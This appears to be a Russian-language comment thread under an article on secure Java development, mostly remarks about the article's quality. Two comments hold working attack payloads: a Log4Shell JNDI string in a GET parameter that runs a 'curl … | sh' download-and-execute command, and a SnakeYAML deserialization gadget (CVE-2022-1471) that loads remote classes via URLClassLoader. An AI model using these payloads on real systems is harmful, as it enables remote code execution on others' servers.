Безопасная разработка в Java

[IlyaStroynov]

Каждый раз, когда слышу про "безопасную разработку" на Java думаю - что безопасного в методах типизированных коллекций, принимающих Object

[centralhardware2]

А что то из реально джава мира есть ?

[utor]

log4j - ${jndi:ldap://... например в GET /openAPI?id=${jndi:ldap://.../TomcatBypass/Command/Base64/curl -fsSL ****** sh}

[freedom1b2830]

cve-2022-1471 snakeyaml
Тип:не безопасная десериализация


!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

приводит к исполнению:

new ScriptEngineManager(
new URLClassLoader(

new URL[]{

new URL("http://localhost:8080/")

}

)

)
такой себе log4j только использовать сложнее


[upagge]

Форматирование вышло из чата

[dmt_ovs]

Хочу вторую часть: "Опасная разработка в Java".

[wwalex101]

сильно уж за уши притянуто и очень примитивно, из всего перечисленного столкнуться можно разве что с небезопасным обращением к ресурсам.